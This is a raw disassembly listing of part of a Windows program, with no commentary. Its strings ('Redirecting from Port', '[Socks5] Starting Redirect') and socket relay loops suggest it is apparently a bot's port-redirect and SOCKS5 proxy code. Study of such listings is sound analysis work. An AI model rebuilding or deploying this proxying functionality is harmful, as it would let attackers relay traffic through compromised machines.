		mov	[esp+2Ch+var_1C], ebx
		push	ecx
		push	8004667Eh
		push	edx
		call	edi
		mov	ecx, [esi+0A5h]
		lea	eax, [esp+38h+var_28]
		push	eax
		push	8004667Eh
		push	ecx
		mov	[esp+44h+var_28], ebx
		call	edi
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_42C9FA
		mov	ebx, dword_511CA4
		mov	ebp, dword_511CA0


loc_42C966:				; CODE XREF: sub_42C830+1BAj
		mov	ecx, [esi+0A5h]
		push	0
		lea	eax, [esp+48h+var_20]
		push	1000h
		push	eax
		push	ecx
		call	ebx
		mov	edi, eax
		test	edi, edi
		jz	short loc_42C9FA
		jge	short loc_42C990
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jnz	short loc_42C9F2


loc_42C990:				; CODE XREF: sub_42C830+151j
		mov	eax, [esi+0A1h]
		push	0
		lea	edx, [esp+58h+var_30]
		push	edi
		push	edx
		push	eax
		call	ebp
		mov	edx, [esi+0A1h]
		push	0
		lea	ecx, [esp+68h+var_40]
		push	1000h
		push	ecx
		push	edx
		call	ebx
		mov	edi, eax
		test	edi, edi
		jz	short loc_42C9FA
		jge	short loc_42C9CB
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jnz	short loc_42C9F2


loc_42C9CB:				; CODE XREF: sub_42C830+18Cj
		mov	ecx, [esi+0A5h]
		push	0
		lea	eax, [esp+78h+var_50]
		push	edi
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jnz	loc_42C966
		jmp	short loc_42C9FA
; ---------------------------------------------------------------------------


loc_42C9F2:				; CODE XREF: sub_42C830+15Ej
					; sub_42C830+199j
		push	0Ah
		call	near ptr 284020Fh
		nop


loc_42C9FA:				; CODE XREF: sub_42C830+27j
					; sub_42C830+124j ...
		mov	eax, [esi+0A1h]
		mov	edi, dword_511C9C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42CA0E
		push	eax
		call	edi


loc_42CA0E:				; CODE XREF: sub_42C830+1D9j
		mov	esi, [esi+0A5h]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42CA1C
		push	esi
		call	edi


loc_42CA1C:				; CODE XREF: sub_42C830+1E7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
sub_42C830	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 80h dup(0CCh)
		db  6Ah	; j
		db 0FFh
		db  68h	; h
		db  68h	; h
		db 0CFh	; 
		db  43h	; C
		db    0
		db  64h	; d
		db 0A1h	; 
		db    0
		db    0
		db    0
		db    0
		db  50h	; P
		db  64h	; d
		db  89h	; 
		db  25h	; %
		db    0
		db    0
		db    0
		db    0
		db  51h	; Q
		db  56h	; V
		db  8Bh	; 
		db 0F1h	; 
		db  89h	; 
		db  74h	; t
		db  24h	; $
		db    4
		db 0E8h	; 
		db 0CEh	; 
		db  54h	; T
		db 0FDh	; 
		db 0FFh
		db  68h	; h
		db  5Ch	; \
		db  4Dh	; M
		db  44h	; D
		db    0
		db  8Dh	; 
		db  4Eh	; N
		db  11h
		db 0C7h	; 
		db  44h	; D
		db  24h	; $
		db  14h
		db    0
		db    0
		db    0
		db    0
		db 0C7h	; 
		db    6
		db 0C0h	; 
		db 0F1h	; 
		db  43h	; C
		db    0
		db 0E8h	; 
		db 0F4h	; 
		db  4Ah	; J
		db 0FDh	; 
		db 0FFh
		db  8Bh	; 
		db  4Ch	; L
		db  24h	; $
		db    8
		db  8Bh	; 
		db 0C6h	; 
		db  5Eh	; ^
		db  64h	; d
		db  89h	; 
		db  0Dh
		db    0
		db    0
		db    0
		db    0
		db  83h	; 
		db 0C4h	; 
		db  10h
		db 0C3h	; 
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42CB20:				; CODE XREF: ___:loc_4015FAj
					; ___:00401FC8j
		push	esi
		mov	esi, ecx
		call	sub_401B9F
		test	byte ptr [esp+8], 1
		jz	short loc_42CB38
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42CB38:				; CODE XREF: ___:0042CB2Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42CB50	proc near		; CODE XREF: sub_401B9Fj
		jmp	sub_4017A8
sub_42CB50	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42CB70	proc near		; CODE XREF: sub_4019F1j

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_42CB70
		push	eax
		mov	large fs:0, esp
		sub	esp, 28h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+3Fh]
		lea	ebx, [esi+43h]
		push	eax
		mov	ecx, ebx
		lea	edi, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017EE
		mov	ecx, [esi+3Bh]
		push	eax
		push	ecx
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		push	offset aSRedirectingFr ; "[%s] Redirecting from	Port %d	to '%s:%d"...
		mov	ecx, ebp
		call	sub_4014DD
		mov	dl, [esi+98h]
		push	eax
		mov	al, [esi+97h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 24h
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+9Dh], eax
		jz	loc_42CDA8
		mov	dx, [esi+3Bh]
		xor	ecx, ecx
		mov	[esp+44h+var_2C], ecx
		push	edx
		mov	[esp+48h+var_28], ecx
		mov	word ptr [esp+48h+var_2C], 2
		mov	[esp+48h+var_24], ecx
		mov	[esp+48h+var_20], ecx
		nop
		call	near ptr 71AB2B66h
		mov	ecx, [esi+9Dh]
		mov	word ptr [esp+44h+var_2C+2], ax
		lea	eax, [esp+44h+var_2C]
		push	10h
		push	eax
		push	ecx
		mov	[esp+50h+var_34], 10h
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jz	short loc_42CC5B
		mov	edx, [esi+9Dh]
		push	edx
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	ecx, [esp+34h+var_C]
		mov	large fs:0, ecx
		add	esp, 34h
		retn
; ---------------------------------------------------------------------------


loc_42CC5B:				; CODE XREF: sub_42CB70+C9j
		mov	eax, [esi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	loc_42CD54


loc_42CC6F:				; CODE XREF: sub_42CB70+1DEj
		mov	ecx, [esi+9Dh]
		push	0Ah
		push	ecx
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jz	loc_42CD35
		mov	ecx, [esi+9Dh]
		lea	edx, [esp+44h+var_34]
		lea	eax, [esp+44h+var_1C]
		push	edx
		push	eax
		push	ecx
		nop
		call	near ptr 71AC1028h
		mov	ebp, eax
		cmp	ebp, 0FFFFFFFFh
		jz	loc_42CD35
		xor	edi, edi
		cmp	ebp, edi
		jz	loc_42CD35
		push	0A9h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+44h+var_30], eax
		cmp	eax, edi
		mov	[esp+44h+var_4], edi
		jz	short loc_42CCD5
		mov	ecx, eax
		call	sub_40166D
		mov	edi, eax


loc_42CCD5:				; CODE XREF: sub_42CB70+15Aj
		mov	edx, [esi+99h]
		mov	[edi+9Dh], esi
		mov	[edi+99h], edx
		mov	eax, [esi+3Bh]
		mov	[edi+3Bh], eax
		mov	ecx, [esi+3Fh]
		mov	[edi+3Fh], ecx
		push	ebx
		lea	ecx, [edi+43h]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		call	sub_401FDC
		lea	eax, [esi+26h]
		lea	ecx, [edi+26h]
		push	eax
		mov	[edi+0A1h], ebp
		call	sub_401FDC
		mov	dl, [esi+97h]
		mov	ecx, edi
		mov	[edi+97h], dl
		mov	al, [esi+98h]
		mov	[edi+98h], al
		call	sub_4013DE


loc_42CD35:				; CODE XREF: sub_42CB70+111j
					; sub_42CB70+133j ...
		push	0FAh
		nop
		call	near ptr 284020Fh
		mov	ecx, [esi+99h]
		mov	al, [ecx+11Ch]
		test	al, al
		jnz	loc_42CC6F


loc_42CD54:				; CODE XREF: sub_42CB70+F9j
		mov	eax, [esi+9Dh]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42CD66
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42CD66:				; CODE XREF: sub_42CB70+1EDj
		mov	edx, [esi+3Fh]
		mov	ecx, ebx
		push	edx
		call	sub_4017EE
		push	eax
		mov	eax, [esi+3Bh]
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017EE
		push	eax
		push	offset aSFinishedRed_0 ; "[%s] Finished	redirecting from port %d "...
		lea	ecx, [esi+26h]
		call	sub_4014DD
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 24h


loc_42CDA8:				; CODE XREF: sub_42CB70+7Cj
		mov	ecx, [esp+44h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 34h
		retn
sub_42CB70	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42CE60	proc near		; CODE XREF: sub_402202j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42CE60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	10h
		push	3
		push	14h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		mov	esi, ecx
		push	5
		lea	eax, [esp+74h+var_3C]
		push	12h
		push	eax
		mov	dword ptr [esi+118h], 0
		call	sub_4019C4
		add	esp, 38h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_42CE60	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	12h
		push	7
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	edx, [esp+38h]
		push	12h
		push	edx
		call	sub_4019C4
		add	esp, 38h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	14h
		push	14h
		push	8
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	ecx, [esp+3Ch]
		push	12h
		push	ecx
		call	sub_4019C4
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017EE
		lea	edx, [esi+60h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	0Bh
		push	3
		push	0Fh
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	eax, [esp+40h]
		push	12h
		push	eax
		call	sub_4019C4
		add	esp, 40h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		lea	ecx, [esi+8Eh]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	49h
		push	13h
		push	0Bh
		push	3
		push	0Fh
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	edx, [esp+44h]
		push	12h
		push	edx
		call	sub_4019C4
		add	esp, 44h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0BCh]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	ecx, [esp+54h]
		push	12h
		push	ecx
		call	sub_4019C4
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 5
		call	sub_4017EE
		add	esi, 0EAh
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0A0h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_42D150:				; CODE XREF: ___:loc_40204Aj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43D0A4
		push	eax
		mov	large fs:0, esp
		sub	esp, 68h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+84h]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+4]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		or	ebx, 0FFFFFFFFh
		test	eax, eax
		jnz	loc_42D2B7
		push	0A1h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 88248489h, 33000000h, 89C73BFFh, 8024BCh, 9740000h
		dd 0ADE8C88Bh, 8BFFFD44h, 460068F8h, 448D0044h,	16A4C24h
		dd 11C85C6h, 50010000h,	9C89CE8Bh, 8C24h, 99AF8900h, 0E8000000h
		dd 0FFFD44D4h, 84C7C88Bh, 8024h, 100h, 45F8E800h, 9050FFFDh
		dd 7EED1BE8h, 4C48377h,	48244C8Dh, 893B4789h, 80249Ch
		dd 13E80000h, 68FFFD40h, 444600h, 4C244C8Dh, 8B51026Ah
		dd 4492E8CEh, 8D50FFFDh, 84C7434Fh, 8424h, 200h, 4DA2E800h
		dd 4C8DFFFDh, 9C894824h, 8024h,	3FDCE800h, 68FFFDh, 8D004446h
		dd 6A4C2454h, 0CE8B5203h, 0FD445BE8h, 0C7C88BFFh, 802484h
		dd 30000h, 7FE80000h, 50FFFD45h, 7EECA3E8h, 0C4839077h
		dd 244C8D04h, 3F478948h, 80249C89h, 0E8000000h,	0FFFD3F9Ah
		dd 8D69468Dh, 0E850264Fh, 0FFFD4D44h, 938E8Ah, 8F880000h
		dd 97h,	94968Ah, 0CF8B0000h, 989788h, 27E80000h
		db 41h,	0FDh, 0FFh
; ---------------------------------------------------------------------------


loc_42D2B7:				; CODE XREF: ___:0042D18Dj
		lea	ecx, [ebp+32h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42D3E7
		push	9Dh
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 4
		jz	short loc_42D2FE
		mov	ecx, eax
		call	sub_401898
		mov	edi, eax
		jmp	short loc_42D300
; ---------------------------------------------------------------------------


loc_42D2FE:				; CODE XREF: ___:0042D2F1j
		xor	edi, edi


loc_42D300:				; CODE XREF: ___:0042D2FCj
		push	offset asc_444600 ; " "
		lea	eax, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016B8
		push	eax
		lea	ecx, [edi+58h]
		mov	dword ptr [esp+84h], 5
		call	sub_401FDC
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+4Ch]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		push	eax
		lea	ecx, [edi+6Dh]
		mov	dword ptr [esp+84h], 6
		call	sub_401FDC
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+4Ch]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	eax
		lea	ecx, [edi+82h]
		mov	dword ptr [esp+84h], 7
		call	sub_401FDC
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FDC
		mov	cl, [esi+93h]
		mov	[edi+97h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+98h], dl
		call	sub_4013DE


loc_42D3E7:				; CODE XREF: ___:0042D2CAj
		lea	ecx, [ebp+60h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42D510
		push	0A2h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 8
		jz	short loc_42D42E
		mov	ecx, eax
		call	sub_4018ED
		mov	edi, eax
		jmp	short loc_42D430
; ---------------------------------------------------------------------------


loc_42D42E:				; CODE XREF: ___:0042D421j
		xor	edi, edi


loc_42D430:				; CODE XREF: ___:0042D42Cj
		push	offset asc_444600 ; " "
		lea	eax, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+80h], 9
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+48h]
		mov	[edi+3Bh], eax
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+4Ch]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		push	offset aTrue	; "true"
		mov	ecx, eax
		mov	dword ptr [esp+84h], 0Ah
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		setz	byte ptr [esp+88h]
		call	sub_401226
		mov	al, [esp+88h]
		test	al, al
		jz	short loc_42D4DE
		mov	byte ptr [edi+9Dh], 1
		jmp	short loc_42D4E5
; ---------------------------------------------------------------------------


loc_42D4DE:				; CODE XREF: ___:0042D4D3j
		mov	byte ptr [edi+9Dh], 0


loc_42D4E5:				; CODE XREF: ___:0042D4DCj
		lea	edx, [esi+69h]
		lea	ecx, [edi+26h]
		push	edx
		call	sub_401FDC
		mov	al, [esi+93h]
		mov	[edi+97h], al
		mov	cl, [esi+94h]
		mov	[edi+98h], cl
		mov	ecx, edi
		call	sub_4013DE


loc_42D510:				; CODE XREF: ___:0042D3FAj
		lea	ecx, [ebp+8Eh]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42D5DD
		push	0A1h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 0Bh
		jz	short loc_42D55A
		mov	ecx, eax
		call	sub_40218A
		mov	edi, eax
		jmp	short loc_42D55C
; ---------------------------------------------------------------------------


loc_42D55A:				; CODE XREF: ___:0042D54Dj
		xor	edi, edi


loc_42D55C:				; CODE XREF: ___:0042D558j
		push	offset asc_444600 ; " "
		lea	edx, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	edx
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+80h], 0Ch
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+48h]
		mov	[edi+3Bh], eax
		mov	[esp+80h], ebx
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FDC
		mov	cl, [esi+93h]
		mov	[edi+97h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+98h], dl
		call	sub_4013DE


loc_42D5DD:				; CODE XREF: ___:0042D526j
		lea	ecx, [ebp+0BCh]
		call	sub_4014DD
		lea	edi, [esi+7Eh]
		push	eax
		mov	ecx, edi
		mov	[esp+8Ch], edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42D809
		lea	ecx, [esp+30h]
		call	sub_40142E
		lea	ecx, [esp+18h]
		mov	dword ptr [esp+80h], 0Dh
		call	sub_40142E
		push	offset asc_444600 ; " "
		lea	eax, [esp+4Ch]
		push	2
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+8Ch], 0Eh
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+80h], 0Fh
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+34h]
		call	sub_401A9B
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+4Ch]
		push	3
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+80h], 10h
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_401A9B
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+30h]
		call	sub_4014DD
		cmp	eax, offset byte_448F30
		jnz	short loc_42D6BF
		push	offset aRoot	; "root"
		lea	ecx, [esp+1Ch]
		call	sub_401A9B


loc_42D6BF:				; CODE XREF: ___:0042D6AFj
		lea	ecx, [esp+18h]
		call	sub_4014DD
		cmp	eax, offset byte_448F30
		jnz	short loc_42D6DD
		push	offset byte_448F30
		lea	ecx, [esp+1Ch]
		call	sub_401A9B


loc_42D6DD:				; CODE XREF: ___:0042D6CDj
		push	offset asc_444600 ; " "
		lea	edx, [esp+4Ch]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	edi, eax
		lea	ecx, [esp+18h]
		mov	byte ptr [esp+80h], 11h
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+34h]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4017EE
		mov	edi, dword_511B14
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esi+69h]
		push	eax
		push	offset aSocks5Starting ; "[Socks5] Starting Redirect [Port %d :: "...
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 20h
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+18h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+28h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+98h], 12h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+44h], esp
		push	eax
		call	sub_401870
		push	offset asc_444600 ; " "
		lea	edx, [esp+94h]
		push	1
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0BCh], 13h
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+0B0h], 15h
		call	sub_4017EE
		push	eax
		call	edi
		add	esp, 4
		push	eax
		call	sub_401C2B
		add	esp, 34h
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+18h]
		mov	byte ptr [esp+80h], 0Dh
		call	sub_401226
		lea	ecx, [esp+30h]
		mov	[esp+80h], ebx
		call	sub_401226
		mov	edi, [esp+88h]


loc_42D809:				; CODE XREF: ___:0042D5FCj
		lea	ecx, [ebp+0EAh]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42D826
		mov	[ebp+11Ch], al


loc_42D826:				; CODE XREF: ___:0042D81Ej
		mov	ecx, [esp+78h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 74h
		retn	4
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 1C0h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_42DA00:				; CODE XREF: ___:004021CBj
		push	ecx
		mov	edx, dword_449A4D
		push	esi
		mov	esi, ecx
		mov	eax, [esi+99h]
		mov	ecx, [eax+118h]
		cmp	edx, ecx
		jl	short loc_42DA21
		inc	ecx
		mov	[eax+118h], ecx


loc_42DA21:				; CODE XREF: ___:0042DA18j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+8]
		mov	eax, [esi+99h]
		mov	[esp+4], esi
		mov	ecx, [eax+118h]
		dec	ecx
		mov	[eax+118h], ecx
		lea	ecx, [esp+4]
		push	ecx
		mov	ecx, offset byte_4E8E9B
		call	sub_40120D
; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42DA80	proc near		; CODE XREF: sub_401E1Fj

var_190		= byte ptr -190h

		sub	esp, 190h
		lea	eax, [esp+190h+var_190]
		push	eax
		push	101h
		call	sub_438244
sub_42DA80	endp

; ---------------------------------------------------------------------------
		db 85h,	0C0h, 74h
		dd 900D8B19h, 5000511Ah, 6840C183h, 4473D0h, 3365E851h
		dd 83907781h, 0C4810CC4h, 190h,	909090C3h, 90909090h, 4	dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_42DAD0:				; CODE XREF: ___:00401D8Ej
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42DAE3
		mov	ecx, [eax+18h]
		test	ecx, ecx
		jnz	short loc_42DAE3
		add	eax, 44h
		retn
; ---------------------------------------------------------------------------


loc_42DAE3:				; CODE XREF: ___:0042DAD6j
					; ___:0042DADDj
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42DB00	proc near		; CODE XREF: sub_401A7Dj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_12		= word ptr  16h

		sub	esp, 14h
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ebx
		push	ebp
		mov	[esp+1Ch+var_C], eax
		push	esi
		push	edi
		mov	[esp+24h+var_8], eax
		push	ecx
		mov	[esp+28h+var_14], 1
		mov	[esp+28h+var_4], eax
		mov	word ptr [esp+28h+var_10], 2
		call	near ptr 77C46125h
		nop
		mov	ebp, eax
		push	3Ah
		push	ebp
		nop
		call	near ptr 77C47660h
		mov	esi, eax
		xor	ebx, ebx
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_42DB74
		push	offset aTcp	; "tcp"
		push	offset aFtp	; "ftp"
		call	sub_43828C
; ---------------------------------------------------------------------------
		dd 6C75C33Bh, 44742468h, 8BE89000h, 83778092h, 0C03304C4h
		dd 5B5D5E5Fh, 0C314C483h
; ---------------------------------------------------------------------------


loc_42DB74:				; CODE XREF: sub_42DB00+47j
		mov	[esi], bl
		mov	eax, dword_511A7C
		inc	esi
		cmp	dword ptr [eax], 1
		jle	short loc_42DB92
		movsx	ecx, byte ptr [esi]
		push	4
		push	ecx
		nop
		call	near ptr 77C1C561h
		add	esp, 8
		jmp	short loc_42DBA2
; ---------------------------------------------------------------------------


loc_42DB92:				; CODE XREF: sub_42DB00+7Fj
		mov	eax, dword_511B1C
		movsx	edx, byte ptr [esi]
		mov	ecx, [eax]
		mov	al, [ecx+edx*2]
		and	eax, 4


loc_42DBA2:				; CODE XREF: sub_42DB00+90j
		cmp	eax, ebx
		jz	short loc_42DBBD
		push	esi
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		push	eax
		call	sub_43822C
; ---------------------------------------------------------------------------
		mov	[esp+arg_12], ax
		jmp	short sub_42DBD1
; ---------------------------------------------------------------------------


loc_42DBBD:				; CODE XREF: sub_42DB00+A4j
		push	offset aTcp	; "tcp"
		push	esi
		call	sub_43828C
sub_42DB00	endp

; ---------------------------------------------------------------------------
		mov	dx, [eax+8]
		mov	[esp+16h], dx

; =============== S U B	R O U T	I N E =======================================

